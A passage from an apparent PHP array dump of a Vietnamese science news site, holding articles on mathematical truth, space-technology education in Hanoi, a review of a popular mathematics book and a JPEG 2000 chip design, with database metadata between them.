chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-19', 'status' => '1', 'view' => '62215', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '409', 'name' => 'Gần lắm giấc mơ thiên văn Việt Nam', 'code' => null, 'alias' => 'gan-lam-giac-mo-thien-van-viet-nam', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Trước đây, việc học và nghiên cứu công nghệ vũ trụ ở Việt Nam phải gián tiếp thông qua các ngành liên quan như vật lý, công nghệ thông tin, viễn thông... Kể từ năm 2012, việc này có thể được thực hiện trực tiếp nhờ vào chương trình học Vũ trụ và Ứng dụng (Space and Applications) tại ĐH Khoa học và Công nghệ Hà Nội. Tương lai nghề nghiệp ngành công nghệ vũ trụ Việt Nam cũng đang rộng mở với nhiều cơ hội.</div> <div> Những ứng dụng trực tiếp cho kinh tế và xã hội<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (1).jpg" style="width: 250px; height: 167px;" /></div> <div> </div> <div> Thế kỷ 21, cùng với sự phát triển của công nghệ thông tin, công nghệ vũ trụ cũng đang ở trong giai đoạn bùng nổ. Nếu chú ý người ta sẽ nhìn thấy ứng dụng công nghệ vũ trụ ở khắp mọi nơi trong cuộc sống hàng ngày: ti-vi, điện thoại di động, máy tính xách tay, v.v. Không ai mà không biết đến những ứng dụng tuyệt vời của hệ thống định vị được tích hợp trong những chiếc điện thoại nhỏ xíu hay bản đồ điện tử, giúp chúng ta tìm được đến những hang cùng ngõ hẻm nhỏ nhất. Những ứng dụng này có được là nhờ một hệ thống vệ tinh phức tạp đang bay trên bầu trời. Nếu bạn thích du lịch thì chỉ cần lên máy bay, chưa đầy 24 tiếng bạn đã ở phía bên kia của quả đất nhưng những chiếc máy bay sẽ không thể di chuyển dễ dàng như thế nếu thiếu đi các hệ thống kiếm soát hành trình và hệ thống định vị. </div> <div> </div> <div> Ngày nay việc theo dõi môi trường, rừng, biển, khí hậu, thiên tai cũng đã sử dụng nhiều ứng dụng công nghệ vũ trụ vào một ngành riêng biệt là ngành viễn thám (remote sensing). Viễn thám là ngành nghiên cứu sử dụng các hệ thống dò tìm, đo đạc đặt trên các vệ tinh trên bầu trời để quan sát các khu vực dưới mặt đất. Nhờ vậy mà người ta có thể được thu thập hình ảnh, số liệu một phần diện tích rộng và có một cái nhìn tổng thể hơn. </div> <div> </div> <div> <strong>Trở thành nhà thiên văn học: Ước mơ trong tầm tay</strong></div> <div> </div> <div> Khoa học và công nghệ vũ trụ là tổng hợp thành quả từ nhiều ngành khoa học và cộng nghệ khác nhau, là biểu tượng của một quốc gia phát triển. Nhận thức được điều đó, Việt Nam đã và đang thúc đấy mạnh mẽ quá trình phát triển ngành công nghiệp vũ trụ nhằm phục vụ phát triển kinh tế xã hội cũng như khẳng định chủ quyền của Việt Nam trên không gian. Phát triển nguồn nhân lực chất lượng cao cho ngành khoa học vũ trụ và làm chủ công nghệ tiên tiến là một trong những ưu tiên hàng đầu.</div> <div> </div> <div> Ở Việt Nam trước đây, việc học và nghiên cứu công nghệ vũ trụ vẫn phải gián tiếp thông qua các ngành có liên quan đến vũ trụ như vật lý, công nghệ thông tin, viễn thông... Kể từ năm 2012, việc học và nghiên cứu công nghệ vũ trụ có thể được thực hiện trực tiếp nhờ vào chương trình học cử nhân và thạc sĩ Vũ trụ và ứng dụng (Space and Applications) tại Đại học Khoa học và Công nghệ Hà Nội1.</div> <div> </div> <div> Đại học Khoa học và Công nghệ Hà Nội (University of Science and Technology of Hanoi, viết tắt là USTH) là trường đại học công lập thuộc hệ thống giáo dục quốc dân, được thành lập theo sự hợp tác giữa Chính phủ Việt Nam và Chính phủ Pháp. Là trường đại học quốc tế đào tạo theo mô hình châu Âu, trường sẽ được xây dựng tại Khu Công nghệ cao Hòa Lạc và hoạt động kết hợp với Viện Khoa học và Công nghệ Việt Nam trong 10 năm đầu. Từ năm học 2012 – 2013, bên cạnh hệ cử nhân, hệ thạc sĩ Công nghệ vũ trụ và ứng dụng bắt đầu được triển khai với hầu hết các giảng viên đến từ Đại học Paris Diderot – Đại học Paris 7, Đài thiên văn Paris (l’Observatoire de Paris), Đại học Paul-Sabatier, École normale supérieur, v.v. Chương trình đào tạo thạc sĩ công nghệ vũ trụ đầu tiên và duy nhất tại Việt Nam được thực hiện theo Hệ thống chuyển đổi và tích lũy tín chỉ chung châu Âu (European Credit Transfer and Accumulation System, viết tắt là ECTS), được công nhận bởi chính phủ Việt Nam và chính phủ Pháp. </div> <div> </div> <div> Các hoạt động nghiên cứu và đào tạo sẽ được tiến hành tại một địa điểm và được kết nối với mạng lưới các trung tâm nghiên cứu – đào tạo chất lượng cao ở Pháp và Việt Nam. Chương trình cử nhân kéo dài 3 năm còn chương trình đào tạo hệ thạc sĩ Công nghệ vũ trụ và ứng dụng được chia làm 4 học kỳ trong 2 năm, mỗi học kỳ gồm 30 tín chỉ và tất cả các môn học sẽ được giảng dạy bằng tiếng Anh. Vào học kỳ cuối cùng, sinh viên sẽ được thực tập 8 tháng tại các phòng thí nghiệm nghiên cứu và phát triển (R&D labs), các viện nghiên cứu thiên văn học, các tổ hợp công nghiệp hàng không vũ trụ tại Pháp và châu Âu như Đài thiên văn Paris, Tập đoàn Hàng không vũ trụ và Quốc phòng châu Âu (EADS), v.v.</div> <div> </div> <div> Học viên sau khi bảo vệ thành công luận văn tốt nghiệp sẽ có hai bằng, một bằng của trường đại học Khoa học và Công nghệ Hà Nội và một bằng của trường đại học Pháp nhận các học viên sang thực tập. Khi tốt nghiệp, học viên sẽ có học vị chuyên ngành Thạc sĩ Khoa học vũ trụ và ứng dụng (Master in Space Science and Applications) hoặc Thạc sĩ Công nghệ vũ trụ (Master in Space Engineering). </div> <div> </div> <div> Chương trình sẽ cung cấp học bổng cho các học sinh có điều kiện khó khăn để hoàn thành chương trình. Đặc biệt việc thực tập trong học kỳ hai của năm hai thạc sĩ ở Pháp sẽ đươc chính phủ Pháp tài trợ 100%. Các sinh viên có nhu cầu phòng trọ sẽ được sắp xếp tại làng sinh viên quốc tế Thanh Xuân.</div> <div> </div> <div> <strong>Học công nghệ vũ trụ để làm gì?</strong></div> <div> </div> <div> Phần lớn các bạn trẻ thường hỏi học công nghệ vũ trụ rồi ra làm cái gì? Việc đầu tiên mà các bạn có thể làm đó là tại các trung tâm khoa học liên quan ở Việt Nam như đã kể ở trên. Do đặc thù liên ngành của ngành công nghệ vũ trụ, nếu như bạn đổi ý, với kiến thức được trang bị bạn có thể tìm việc làm ở các ngành kỹ thuật liên quan như điện, cơ khí, hàng không... hay các ngành khác như ngân hàng và tài chính. Theo thống kê mới đây ở Hoa Kỳ thì ngành công nghệ vũ trụ là ngành học ít bị thất nghiệp nhất ở Mỹ2, ngay cả trong bối cảnh khủng hoảng kinh tế hiện nay. Ngay cả các bạn học ngành thời thượng thì cũng chỉ 50% đi làm đúng ngành học, vậy tại sao bạn lại không nắm lấy cơ hội để học cái mình thích. Quan trọng nhất, nếu đây là ước mơ trẻ thơ của bạn, hãy nắm lấy.</div> <div> </div> <div> Tương lai nghề nghiệp ngành công nghệ vũ trụ Việt Nam đang rộng mở với nhiều cơ hội: kỹ sư và nghiên cứu viên tại các viện khoa học như Trung tâm Vũ trụ và Trung tâm Vệ tinh quốc gia; chuyên viên và kỹ thuật viên tại các tập đoàn viễn thông; chuyên viên trắc địa, thăm dò tại các cơ quan khí tượng, các tập đoàn khoáng sản và dầu khí; trở thành giảng viên đại học chuyên ngành thiên văn học, v.v…Sinh viên ngành vũ trụ và ứng dụng cũng có thể trở thành kỹ sư tại các công ty hàng không chuyên sản xuất thiết bị cho máy bay Boeing, Airbus hay các công ty thiết kế và chế tạo ô tô như Mercedes, BMW. Ngoài kiến thức chuyên môn vững chắc, đại học Khoa học và Công nghệ Hà Nội còn đào tạo cho những sinh viên này các kiến thức nền về quản trị, quản lý dự án khoa học, ngoại ngữ và luật pháp. </div> <div> </div> <div> <strong>Việt Nam trở lại sân chơi hàng không vũ trụ</strong></div> <div> </div> <div> Nhà nước ta đã chính thức tái khởi động chương trình nghiên cứu vũ trụ sau hơn 20 năm kể từ khi Phạm Tuân, là người châu Á đầu tiên, mang màu cờ Việt Nam lên bản đồ không gian thế giới. Ngày 14/6/2006, Thủ tướng Chính phủ phê duyệt “Chiến lược nghiên cứu và ứng dụng công nghệ vũ trụ đến năm 2020". Ngày 20/11/2006, Viện Công nghệ vũ trụ (Space Technology Institute - STI) được thành lập trực thuộc Viện Khoa học và Công nghệ Việt Nam, với mục tiêu trở thành cơ sở nghiên cứu đầu ngành về công nghệ vũ trụ của nhà nước. Cuối năm ngoái, Trung tâm Vệ tinh quốc gia Việt Nam (Vietnam National Satellite Centre - VNSC) được chính thức hoạt động, đặt tại Khu Công nghệ cao Hòa Lạc, Hà Nội. Trung tâm Vệ tinh quốc gia cũng sẽ thực hiện, tiếp nhận, quản lý, khai thác Dự án xây dựng Trung tâm Vũ trụ Việt Nam.</div> <div> </div> <div> Cách trung tâm Hà Nội 30km, trải rộng trên diện tích 9ha, Khu Nghiên cứu – Triển khai Công nghệ vũ trụ tại Khu công nghệ cao Hoà Lạc có tổng vốn 350 triệu đô-la Mỹ từ nguồn vốn vay ODA ưu đãi của Nhật Bản. Trung tâm Vũ trụ Việt Nam tại Hoà Lạc sẽ được lắp đặt các thiết bị hiện đại hàng đầu Việt Nam và khu vực, sánh tầm nhiều trung tâm vũ trụ lớn của thế giới. Cùng với việc chủ động giám sát thảm họa, quản lý tài nguyên thiên nhiên, phát triển các ngành khoa học phụ trợ, Trung tâm Vũ trụ Việt Nam sẽ là nơi thành lập Trung tâm Quan sát Trái đất và Phát triển vệ tinh, chuyển giao công nghệ và phát triển nguồn nhân lực ngành công nghệ vũ trụ, tạo đà phát triển bền vững cho Việt Nam, thúc đẩy hợp tác quốc tế giữa Việt Nam và các nước châu Á – Thái Bình Dương.</div> <div> </div> <div> Chính phủ Việt Nam đang đẩy mạnh công tác nghiên cứu và làm chủ công nghệ chế tạo vệ tinh nhỏ cỡ nhỏ (pico và mini) với dự án vệ tinh VNRedsat 1 (hợp tác với Pháp) và vệ tinh VNRedsat 2 (hợp tác với Bỉ), cùng nhiều dự án hợp tác với Cơ quan Hàng không vũ trụ Nhật Bản (JAXA). Hiện nay, tương lai nghề nghiệp ngành công nghệ vũ trụ và ứng dụng tại Việt Nam vô cùng rộng mở.</div> <div> </div> <div> ---</div> <div> </div> <div> * CLB Thiên văn nghiệp dư TP.HCM (HAAC)</div> <div> </div> <div> 1. Thông tin về chương trình học và thủ tục ứng tuyển có thể tham khảo thêm tại trang http://usth.edu.vn/vi/studycourses/mastercourses/master-of-space-and-applications/</div> <div> </div> <div> 2. Theo trang web: http://graphicsweb.wsj.com/documents/NILF1111/#term=</div> ', 'images' => '201606150911150c257c177fbfb4f676613725df7b63fa.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '55247', 'slug' => 'gan-lam-giac-mo-thien-van-viet-nam', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '707', 'rght' => '708', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '408', 'name' => 'Ai và Ky ở xứ sở của những con số tàng hình*', 'code' => null, 'alias' => 'ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Tôi may mắn có trong tay bản thảo cuốn sách đã ba tháng nay, và phải làm cái công việc khó khăn là không dám “khoe” vì sợ lộ bí mật. Nay cuốn sách đã ra mắt, xin đưa lên bài viết về cảm nhận của tôi khi đọc sách. Cũng có thể xem là lời giới thiệu cuốn sách với bạn đọc.</div> <div> Một cuốn sách trình bày những kiến thức toán học dưới dạng “ngây thơ” nhất, và vì thế, bản chất nhất. Ta gặp ở đây những khái niệm đầu tiên về số, những vấn đề “cao siêu” như trường số, tính không giải được bằng căn thức của phương trình bậc 5 tổng quát, cho đến hình học phi Euclid, đường trắc địa…Một cuốn lịch sử toán học, từ sự ra đời của số vô tỷ đầu tiên đến sự xuất hiện của phương pháp tọa độ và giải tích vô cùng bé. Nhưng trước tiên, cuốn sách là một câu chuyện cổ tích tuyệt đẹp, với nắng vàng trên bãi cát, với bầu không khí trong vắt của trí tuệ và tình người, với những nghịch lý và âm mưu. Ta chợt nhận ra rằng, thế giới của những con số cũng huyền ảo, kỳ bí và lãng mạn như cuộc đời.</div> <div> </div> <div> Tác giả đưa ta vào câu chuyện cổ tích, mà ở đó cùng với Ai và Ky, ta bắt gặp những con người của nhiều thế kỷ khác nhau đang sống cùng nhau trong một thế giới chung: Toán học. Ta gặp Euclid (thế kỷ III TCN) và Thales (624-546 TCN), hai nhà phù thủy chỉ dùng cây thước và compa mà dựng nên cả “thế giới hữu tỷ”; thấy Pythagoras (570-495 TCN) nghiêm khắc trừng phạt anh học trò Hyppasus (thế kỷ V TCN) vì đã dám tạo ra số vô tỷ đầu tiên, phá vỡ cái hài hòa của thế giới hữu tỷ. Ta gặp Zeno xứ Elea (490- 430 TCN) hiện thân thành cô gái Zena với cặp mắt mê hoặc, mà khi nhìn vào đó, thời gian dường như bị chia thành những mảnh nhỏ vô cùng mà ta không thể vượt qua. Nhưng cuối cùng, Alice (lực sĩ Achilles?) đã dũng cảm vượt qua cái “nghịch lý Zeno” đó, dù biết là phải chịu trừng phạt. Để vượt qua cái việc chia cắt thời gian thành những mảnh nhỏ, Alice phải nhờ tới “chuỗi hội tụ”, nhờ tới giải tích vô cùng bé. Ông Chico hiểu điều đó, nhưng vẫn trừng trị Alice, để không làm phật ý Đức Vua, người chỉ biết dùng phép khai căn để tìm ra gốc gác từng thần dân (số) của mình. Ta nhận ra trong bóng dáng Chico hình ảnh của Cauchy (1789-1857), nhà toán học thiên tài, một trong những người đặt nền móng cho giải tích vô cùng bé, nhưng cũng là một người bảo hoàng cực đoan. Cũng vì phụng sự Đức Vua mà Chico trừng phạt chàng Elaci, người đã phát hiện ra rằng Đức Vua không thể chỉ dùng phép khai căn mà tìm được những “thần dân” là nghiệm của phương trình bậc năm. Ông Chico muốn dìm đi phát hiện đó của chàng Elaci, và Elaci đã phải quyết đấu với con rồng. Nhưng trong câu chuyện cổ này, Elaci không chết ở tuổi 21 như Evariste Galois (1811-1832) trong buổi sáng định mệnh sau trò đấu súng, mà chỉ bị đày đến “xứ p-adic”, xứ sở mới của những con số khác với số thực và phức nhưng cũng không kém phần hấp dẫn.</div> <div> </div> <div> Ai và Ky ở xứ sở của những con số tàng hình còn là cuốn sách vỡ lòng về triết học của toán học. Với cặp mắt ngây thơ của Ai, ta nhìn ra mâu thuẫn ẩn chứa trong các chứng minh phản chứng, mâu thuẫn giữa cái hữu hạn và vô hạn, của sự chứng minh được hay không một chân lý toán học. Bởi thế nên ông già Cartesius (René Descartes, 1596-1650) mới nhận ra rằng, để “tồn tại” thì chỉ “suy nghĩ” thôi là chưa đủ: “Ta đang nghi ngờ, việc của ta là nghi ngờ. Ta sợ một lúc nào đó ta không còn nghi ngờ được nữa, thì bản thân ta cũng sẽ trở nên tàng hình”. Cũng bởi vì thế mà Diogenes xứ Sinop (412 hoặc 404 – 323 TCN) mới cầm đèn đi giữa ban ngày để tìm cho ra người lương thiện.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge.jpg" style="width: 250px; height: 166px;" /></div> <div> </div> <div> “Giải quyết một bài toán cũng như ăn từng miếng nhỏ của trái táo. Làm như thế một là để thưởng thức, hai là để tránh nghẹn”, ông già Cartesius đã khuyên Ai như thế. Cuốn sách trên tay các bạn cũng cần được thưởng thức chậm rãi như thế, để có thể cảm nhận được hương vị đậm đà của nó. Và trên hết, phải có cặp mắt ngây thơ như cậu thiếu niên Ai, để nhìn ra chân lý. Bởi vì chân lý chỉ dành cho những người không bị che mắt bởi cái vụn vặt thường nhật.</div> <div> </div> <div> Lời nhắn nhủ của Elaci từ xứ sở p-adic cũng là lời nhắn cho tất cả chúng ta: “Hãy lắng nghe những người khác nói nhưng luôn suy nghĩ bằng cái đầu của mình. Cuối cùng và quan trọng nhất là đừng bao giờ để rơi mất tiếng cười hồn nhiên của Alice”.</div> <div> </div> <div> Cuốn sách giản dị, thông thái, sâu sắc, vừa dễ gần, vừa không dễ hiểu - như chính tác giả của nó vậy."</div> <div> </div> <div> Gấp sách lại, cái “cảm giác tiếc nuối trở nên mơ hồ như làn khói lam chiều. Có một tiểu hành tinh vừa băng qua mùa thu của Trái đất”. </div> <div> </div> <div> ---</div> <div> </div> <div> * Tác giả: Ngô Bảo Châu và Nguyễn Phương Văn; NXB Thế Giới và Nhã Nam ấn hành tháng 3/2012</div> ', 'images' => '20160615091008fbff3e430b33ac364ed26e294730583f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '52316', 'slug' => 'ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '705', 'rght' => '706', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '407', 'name' => 'TPHCM thiết kế thành công lõi IP nén ảnh JPEG 2000 ', 'code' => null, 'alias' => 'tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Lõi IP nén ảnh JPEG 2000 do Trung tâm Nghiên cứu và Đào tạo Thiết kế Vi mạch (ICDREC), ĐH Quốc gia TPHCM, chế tạo là nền tảng để thiết kế các chip xử lý hình ảnh, ứng dụng trên các sản phẩm thuộc lĩnh vực y học, trắc địa học, truyền thông, viễn thám, sinh trắc học, giải trí...</div> <div> Sản phẩm lõi IP nén ảnh JPEG 2000 thuộc đề tài "Nghiên cứu thiết kế và chế tạo thử nghiệm chip nén ảnh theo tiêu chuẩn JPEG2000 và chip ADC đa năng ứng dụng trong y tế" của chương trình KH&CN trọng điểm cấp nhà nước KC.01/11-15 do ThS. Nguyễn Minh Khánh Ngọc (ICDREC) là chủ đề tài. Ngoài ra, ICDREC còn phối hợp với Vụ Trang thiết bị và Công trình y tế (Bộ Y tế) cùng thực hiện đề tài.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/MakeThumbnail.jpg" style="width: 150px; height: 130px;" /></div> <div> <br /> Tại buổi họp báo ngày 9/7, giám đốc ICDREC, ông Ngô Đức Hoàng, cho biết, JPEG 2000 là chuẩn nén ảnh của thế giới do Joint Photographic Experts Group công bố vào năm 2000, được ứng dụng trong nhiều lĩnh vực đời sống xã hội như các thiết bị đa phương tiện (điện thoại di động, máy quay camera, máy ảnh kỹ thuật số, máy in), y tế (nén ảnh cho các thiết bị X-quang, siêu âm...), khảo sát trắc địa (ảnh chụp từ vệ tinh cần nén trước khi truyền về trái đất...), quân sự/giám sát (cung cấp hình ảnh vệ tinh HD, phát hiện chuyển động, thiết lập mạng lưới phân phối và lưu trữ hình ảnh, camera giám sát chất lượng cao…</div> <div> </div> <div> Bắt tay thực hiện đề tài từ năm 2012, ThS. Nguyễn Minh Khánh Ngọc và các cộng sự đã nghiên cứu và nắm vững kỹ thuật thiết kế hệ thống nén ảnh JPEG 2000, kỹ thuật thiết kế bộ chuyển đổi tín hiệu tương tự sang số ADC độ chính xác cao và kỹ thuật thiết kế vi mạch ở công nghệ 130 nano mét. Đây là cơ sở để các nhà nghiên cứu thiết kế và chế tạo lõi IP mềm thực hiện nén ảnh theo tiêu chuẩn JPEG 2000.</div> <div> </div> <div> Sản phẩm lõi IP nén ảnh JPEG 2000 của ICDREC cho phép nén các ảnh tĩnh có độ phân giải cao lên đến 16 triệu điểm ảnh và 16 bit độ xám với các chế độ nén tổn hao và không tổn hao trên cùng một hệ thống, đồng thời cho phép người dùng nén các loại ảnh có tối đa bốn thành phần màu cùng với các định dạng ngõ vào khác nhau như 444, 422, 420 và mức xám. Lõi IP nén ảnh JPEG 2000 còn có thể nén ảnh động với độ phân giải HD đạt tốc độ 24 fps (frame/giây).</div> <div> </div> <div> Từ sản phẩm này, đội ngũ thiết kế vi mạch của ICDREC sẽ thiết kế các chip xử lý hình ảnh, ứng dụng trong các sản phẩm đòi hỏi hình ảnh có độ phân giải ảnh lớn và độ phân giải mức xám cao thuộc lĩnh vực y học, trắc địa học, truyền thông, viễn thám, sinh trắc học, giải trí…</div> <div> </div> <div> Trong quá trình nghiên cứu và thiết kế sản phẩm lõi IP, ICDREC còn đào tạo được đội ngũ nhân lực thiết kế vi mạch trong lĩnh vực tín hiệu số và xử lý ảnh, thiết kế vi mạch analog cho các ứng dụng chuyển đổi tín hiệu tương tựm đồng thời góp phần hỗ trợ cho một số nghiên cứu, dự án khác về các thiết bị xử lý ảnh y sinh và các thiết bị đo trong y tế.</div> <div> </div> <div> Về ý nghĩa lâu dài của đề tài, các nhà chuyên môn cho biết, khi ứng dụng thiết bị trên các hệ thống thiết bị y tế sẽ góp phần giảm giá thành thiết bị, giải tỏa áp lực và gánh nặng cho ngành y tế; cải thiện chất lượng phúc lợi xã hội, góp phần tạo thế cân bằng trong việc cung cấp linh kiện điện tử trong nước; hạn chế sự phụ thuộc vào linh kiện nước ngoài; góp phần làm giảm giá thành sản phẩm điện tử làm ra để có thể cạnh tranh mạnh mẽ với các sản phẩm cùng loại trong và ngoài nước.</div> <div> </div> <div> Tại lễ công bố, ICDREC và công ty cổ phần Điện tử Biên Hòa (Belco) đã ký kết hợp tác cùng phát triển lõi IP nén ảnh JPEG 2000 của ICDREC thành chip xử lí để ứng dụng cho các sản phẩm mà Belco đang sản xuất.</div> ', 'images' => '201606150908575e1f128ae6bd71960aa75fdd584b9db5.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '59449', 'slug' => 'tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 